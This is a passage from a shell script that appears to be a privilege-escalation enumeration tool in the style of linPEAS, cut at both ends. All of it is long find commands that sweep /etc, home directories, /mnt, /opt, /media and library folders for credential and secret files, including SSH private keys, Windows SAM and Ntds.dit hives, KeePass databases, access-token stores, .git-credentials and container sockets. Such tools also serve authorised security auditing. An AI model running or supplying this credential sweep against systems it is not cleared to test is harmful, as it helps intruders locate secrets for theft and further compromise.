-name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_ETC=`eval_bckgrd "find /etc -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"exports\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"*knockd*\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"ssh*config\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB=`eval_bckgrd "find /lib -name \"log4j-core*.jar\" -o -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" -o -name \"rocketchat.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB32=`eval_bckgrd "find /lib32 -name \"log4j-core*.jar\" -o -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB64=`eval_bckgrd "find /lib64 -name \"log4j-core*.jar\" -o -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_MEDIA=`eval_bckgrd "find /media -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_MNT=`eval_bckgrd "find /mnt -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_OPT=`eval_bckgrd "find /opt -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name 